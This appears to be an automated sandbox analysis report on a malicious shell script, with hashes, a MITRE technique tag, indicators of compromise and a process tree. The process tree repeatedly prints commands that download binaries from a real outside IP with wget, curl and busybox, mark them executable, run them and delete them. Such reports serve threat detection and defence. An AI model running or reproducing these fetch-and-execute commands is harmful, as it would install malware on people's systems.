aa660012227ebc6c0ca9ee84cda1e9441e472474743484aa5833e042ed21ba9b

Analysis

max time kernel
24s
max time network
131s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
08/11/2024, 01:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
d38041d0df75b22f18e6bb41d57d2f885cd496e4dd6665bbdec13f0527058982.sh
Size 10KB
Sample241108-cdnyys1rfv
SHA256 d38041d0df75b22f18e6bb41d57d2f885cd496e4dd6665bbdec13f0527058982
MD5 fa4dbb1430d89cfe91017326f4db49b1
SHA1 7d47c3c5edca38d91b76e48df8b267bcba1fa89f
SHA512 771ba2a17fd0e9c475bcebeef445ed17d83bd9baf2d8eca3c0094ade3e1993a32203f0a00fc9f941cdf6c5b82d63379ada249c9bc6a8de3c577261a7b8c55462
SSDEEP 96:zpmKXwQfHdbXbvbabDbXboM/iG28q63iyfLHHXmpbXbvbabDbXbeM9NNSiG28q6b:zpmKXwQfHzDkisLBkmKXwQh
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1556	chmod
1634	chmod
1640	chmod
1550	chmod
1574	chmod
1622	chmod
1586	chmod
1592	chmod
1646	chmod
1658	chmod
1520	chmod
1532	chmod
1538	chmod
1562	chmod
1544	chmod
1616	chmod
1526	chmod
1610	chmod
1652	chmod
1580	chmod
1604	chmod
1664	chmod
1501	chmod
1514	chmod
1628	chmod
1507	chmod
1568	chmod
1598	chmod

Executes dropped EXE 28 IoCs

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi	curl
File opened for modification	/tmp/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1	curl
File opened for modification	/tmp/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd	curl
File opened for modification	/tmp/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf	curl
File opened for modification	/tmp/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz	curl
File opened for modification	/tmp/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu	curl
File opened for modification	/tmp/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO	curl
File opened for modification	/tmp/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu	curl
File opened for modification	/tmp/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L	curl
File opened for modification	/tmp/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7	curl
File opened for modification	/tmp/cSh9DEaemKtcvSG6nSxHZzVojJSO03u840	curl
File opened for modification	/tmp/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj	curl
File opened for modification	/tmp/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ	curl
File opened for modification	/tmp/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd	curl
File opened for modification	/tmp/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ	curl
File opened for modification	/tmp/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO	curl
File opened for modification	/tmp/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L	curl
File opened for modification	/tmp/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj	curl
File opened for modification	/tmp/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1	curl
File opened for modification	/tmp/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc	curl
File opened for modification	/tmp/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc	curl
File opened for modification	/tmp/cSh9DEaemKtcvSG6nSxHZzVojJSO03u840	curl
File opened for modification	/tmp/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1	curl
File opened for modification	/tmp/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7	curl
File opened for modification	/tmp/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1	curl
File opened for modification	/tmp/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi	curl
File opened for modification	/tmp/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf	curl
File opened for modification	/tmp/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz	curl

/tmp/d38041d0df75b22f18e6bb41d57d2f885cd496e4dd6665bbdec13f0527058982.sh
/tmp/d38041d0df75b22f18e6bb41d57d2f885cd496e4dd6665bbdec13f0527058982.sh
1⤵
PID:1487
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1488
- /usr/bin/wget
  wget http://87.120.84.230/bins/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  2⤵
  PID:1489
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  2⤵
  - Writes file to tmp directory
  PID:1499
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  2⤵
  PID:1500
- /bin/chmod
  chmod 777 wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  2⤵
  - File and Directory Permissions Modification
  PID:1501
- /tmp/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  ./wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  2⤵
  - Executes dropped EXE
  PID:1502
- /bin/rm
  rm wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  2⤵
  PID:1503
- /usr/bin/wget
  wget http://87.120.84.230/bins/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  2⤵
  PID:1504
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  2⤵
  - Writes file to tmp directory
  PID:1505
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  2⤵
  PID:1506
- /bin/chmod
  chmod 777 gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  2⤵
  - File and Directory Permissions Modification
  PID:1507
- /tmp/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  ./gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  2⤵
  - Executes dropped EXE
  PID:1508
- /bin/rm
  rm gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  2⤵
  PID:1509
- /usr/bin/wget
  wget http://87.120.84.230/bins/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  2⤵
  PID:1510
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  2⤵
  - Writes file to tmp directory
  PID:1512
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  2⤵
  PID:1513
- /bin/chmod
  chmod 777 RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  2⤵
  - File and Directory Permissions Modification
  PID:1514
- /tmp/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  ./RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  2⤵
  - Executes dropped EXE
  PID:1515
- /bin/rm
  rm RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  2⤵
  PID:1516
- /usr/bin/wget
  wget http://87.120.84.230/bins/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  2⤵
  PID:1517
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  2⤵
  - Writes file to tmp directory
  PID:1518
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  2⤵
  PID:1519
- /bin/chmod
  chmod 777 GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  2⤵
  - File and Directory Permissions Modification
  PID:1520
- /tmp/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  ./GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  2⤵
  - Executes dropped EXE
  PID:1521
- /bin/rm
  rm GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  2⤵
  PID:1522
- /usr/bin/wget
  wget http://87.120.84.230/bins/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  2⤵
  PID:1523
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  2⤵
  - Writes file to tmp directory
  PID:1524
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  2⤵
  PID:1525
- /bin/chmod
  chmod 777 EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  2⤵
  - File and Directory Permissions Modification
  PID:1526
- /tmp/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  ./EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  2⤵
  - Executes dropped EXE
  PID:1527
- /bin/rm
  rm EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  2⤵
  PID:1528
- /usr/bin/wget
  wget http://87.120.84.230/bins/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  2⤵
  PID:1529
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  2⤵
  - Writes file to tmp directory
  PID:1530
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  2⤵
  PID:1531
- /bin/chmod
  chmod 777 dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  2⤵
  - File and Directory Permissions Modification
  PID:1532
- /tmp/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  ./dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  2⤵
  - Executes dropped EXE
  PID:1533
- /bin/rm
  rm dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  2⤵
  PID:1534
- /usr/bin/wget
  wget http://87.120.84.230/bins/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  2⤵
  PID:1535
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  2⤵
  - Writes file to tmp directory
  PID:1536
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  2⤵
  PID:1537
- /bin/chmod
  chmod 777 nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  2⤵
  - File and Directory Permissions Modification
  PID:1538
- /tmp/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  ./nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  2⤵
  - Executes dropped EXE
  PID:1539
- /bin/rm
  rm nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  2⤵
  PID:1540
- /usr/bin/wget
  wget http://87.120.84.230/bins/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  2⤵
  PID:1541
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  2⤵
  - Writes file to tmp directory
  PID:1542
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  2⤵
  PID:1543
- /bin/chmod
  chmod 777 ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  2⤵
  - File and Directory Permissions Modification
  PID:1544
- /tmp/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  ./ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  2⤵
  - Executes dropped EXE
  PID:1545
- /bin/rm
  rm ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  2⤵
  PID:1546
- /usr/bin/wget
  wget http://87.120.84.230/bins/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  2⤵
  PID:1547
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  2⤵
  - Writes file to tmp directory
  PID:1548
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  2⤵
  PID:1549
- /bin/chmod
  chmod 777 J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  2⤵
  - File and Directory Permissions Modification
  PID:1550
- /tmp/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  ./J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  2⤵
  - Executes dropped EXE
  PID:1551
- /bin/rm
  rm J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  2⤵
  PID:1552
- /usr/bin/wget
  wget http://87.120.84.230/bins/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  2⤵
  PID:1553
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  2⤵
  - Writes file to tmp directory
  PID:1554
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  2⤵
  PID:1555
- /bin/chmod
  chmod 777 WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  2⤵
  - File and Directory Permissions Modification
  PID:1556
- /tmp/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  ./WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  2⤵
  - Executes dropped EXE
  PID:1557
- /bin/rm
  rm WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  2⤵
  PID:1558
- /usr/bin/wget
  wget http://87.120.84.230/bins/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  2⤵
  PID:1559
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  2⤵
  - Writes file to tmp directory
  PID:1560
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  2⤵
  PID:1561
- /bin/chmod
  chmod 777 aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  2⤵
  - File and Directory Permissions Modification
  PID:1562
- /tmp/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  ./aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  2⤵
  - Executes dropped EXE
  PID:1563
- /bin/rm
  rm aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  2⤵
  PID:1564
- /usr/bin/wget
  wget http://87.120.84.230/bins/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  2⤵
  PID:1565
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  2⤵
  - Writes file to tmp directory
  PID:1566
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  2⤵
  PID:1567
- /bin/chmod
  chmod 777 0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  2⤵
  - File and Directory Permissions Modification
  PID:1568
- /tmp/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  ./0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  2⤵
  - Executes dropped EXE
  PID:1569
- /bin/rm
  rm 0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  2⤵
  PID:1570
- /usr/bin/wget
  wget http://87.120.84.230/bins/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  2⤵
  PID:1571
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  2⤵
  - Writes file to tmp directory
  PID:1572
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  2⤵
  PID:1573
- /bin/chmod
  chmod 777 MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  2⤵
  - File and Directory Permissions Modification
  PID:1574
- /tmp/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  ./MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  2⤵
  - Executes dropped EXE
  PID:1575
- /bin/rm
  rm MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  2⤵
  PID:1576
- /usr/bin/wget
  wget http://87.120.84.230/bins/cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
  2⤵
  PID:1577
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
  2⤵
  - Writes file to tmp directory
  PID:1578
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
  2⤵
  PID:1579
- /bin/chmod
  chmod 777 cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
  2⤵
  - File and Directory Permissions Modification
  PID:1580
- /tmp/cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
  ./cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
  2⤵
  - Executes dropped EXE
  PID:1581
- /bin/rm
  rm cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
  2⤵
  PID:1582
- /usr/bin/wget
  wget http://87.120.84.230/bins/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  2⤵
  PID:1583
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  2⤵
  - Writes file to tmp directory
  PID:1584
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  2⤵
  PID:1585
- /bin/chmod
  chmod 777 EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  2⤵
  - File and Directory Permissions Modification
  PID:1586
- /tmp/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  ./EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  2⤵
  - Executes dropped EXE
  PID:1587
- /bin/rm
  rm EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  2⤵
  PID:1588
- /usr/bin/wget
  wget http://87.120.84.230/bins/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  2⤵
  PID:1589
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  2⤵
  - Writes file to tmp directory
  PID:1590
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  2⤵
  PID:1591
- /bin/chmod
  chmod 777 GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  2⤵
  - File and Directory Permissions Modification
  PID:1592
- /tmp/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  ./GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  2⤵
  - Executes dropped EXE
  PID:1593
- /bin/rm
  rm GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  2⤵
  PID:1594
- /usr/bin/wget
  wget http://87.120.84.230/bins/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  2⤵
  PID:1595
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  2⤵
  - Writes file to tmp directory
  PID:1596
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  2⤵
  PID:1597
- /bin/chmod
  chmod 777 J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  2⤵
  - File and Directory Permissions Modification
  PID:1598
- /tmp/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  ./J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  2⤵
  - Executes dropped EXE
  PID:1599
- /bin/rm
  rm J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  2⤵
  PID:1600
- /usr/bin/wget
  wget http://87.120.84.230/bins/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  2⤵
  PID:1601
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  2⤵
  - Writes file to tmp directory
  PID:1602
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  2⤵
  PID:1603
- /bin/chmod
  chmod 777 dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  2⤵
  - File and Directory Permissions Modification
  PID:1604
- /tmp/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  ./dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  2⤵
  - Executes dropped EXE
  PID:1605
- /bin/rm
  rm dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  2⤵
  PID:1606
- /usr/bin/wget
  wget http://87.120.84.230/bins/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  2⤵
  PID:1607
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  2⤵
  - Writes file to tmp directory
  PID:1608
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  2⤵
  PID:1609
- /bin/chmod
  chmod 777 nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  2⤵
  - File and Directory Permissions Modification
  PID:1610
- /tmp/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  ./nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  2⤵
  - Executes dropped EXE
  PID:1611
- /bin/rm
  rm nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  2⤵
  PID:1612
- /usr/bin/wget
  wget http://87.120.84.230/bins/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  2⤵
  PID:1613
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  2⤵
  - Writes file to tmp directory
  PID:1614
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  2⤵
  PID:1615
- /bin/chmod
  chmod 777 ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  2⤵
  - File and Directory Permissions Modification
  PID:1616
- /tmp/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  ./ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  2⤵
  - Executes dropped EXE
  PID:1617
- /bin/rm
  rm ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  2⤵
  PID:1618
- /usr/bin/wget
  wget http://87.120.84.230/bins/cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
  2⤵
  PID:1619
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
  2⤵
  - Writes file to tmp directory
  PID:1620
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
  2⤵
  PID:1621
- /bin/chmod
  chmod 777 cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
  2⤵
  - File and Directory Permissions Modification
  PID:1622
- /tmp/cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
  ./cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
  2⤵
  - Executes dropped EXE
  PID:1623
- /bin/rm
  rm cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
  2⤵
  PID:1624
- /usr/bin/wget
  wget http://87.120.84.230/bins/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  2⤵
  PID:1625
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  2⤵
  - Writes file to tmp directory
  PID:1626
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  2⤵
  PID:1627
- /bin/chmod
  chmod 777 WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  2⤵
  - File and Directory Permissions Modification
  PID:1628
- /tmp/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  ./WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  2⤵
  - Executes dropped EXE
  PID:1629
- /bin/rm
  rm WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  2⤵
  PID:1630
- /usr/bin/wget
  wget http://87.120.84.230/bins/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  2⤵
  PID:1631
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  2⤵
  - Writes file to tmp directory
  PID:1632
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  2⤵
  PID:1633
- /bin/chmod
  chmod 777 aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  2⤵
  - File and Directory Permissions Modification
  PID:1634
- /tmp/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  ./aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  2⤵
  - Executes dropped EXE
  PID:1635
- /bin/rm
  rm aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  2⤵
  PID:1636
- /usr/bin/wget
  wget http://87.120.84.230/bins/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  2⤵
  PID:1637
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  2⤵
  - Writes file to tmp directory
  PID:1638
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  2⤵
  PID:1639
- /bin/chmod
  chmod 777 0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  2⤵
  - File and Directory Permissions Modification
  PID:1640
- /tmp/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  ./0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  2⤵
  - Executes dropped EXE
  PID:1641
- /bin/rm
  rm 0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  2⤵
  PID:1642
- /usr/bin/wget
  wget http://87.120.84.230/bins/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  2⤵
  PID:1643
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  2⤵
  - Writes file to tmp directory
  PID:1644
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  2⤵
  PID:1645
- /bin/chmod
  chmod 777 MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  2⤵
  - File and Directory Permissions Modification
  PID:1646
- /tmp/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  ./MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  2⤵
  - Executes dropped EXE
  PID:1647
- /bin/rm
  rm MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  2⤵
  PID:1648
- /usr/bin/wget
  wget http://87.120.84.230/bins/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  2⤵
  PID:1649
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  2⤵
  - Writes file to tmp directory
  PID:1650
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  2⤵
  PID:1651
- /bin/chmod
  chmod 777 RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  2⤵
  - File and Directory Permissions Modification
  PID:1652
- /tmp/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  ./RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  2⤵
  - Executes dropped EXE
  PID:1653
- /bin/rm
  rm RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  2⤵
  PID:1654
- /usr/bin/wget
  wget http://87.120.84.230/bins/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  2⤵
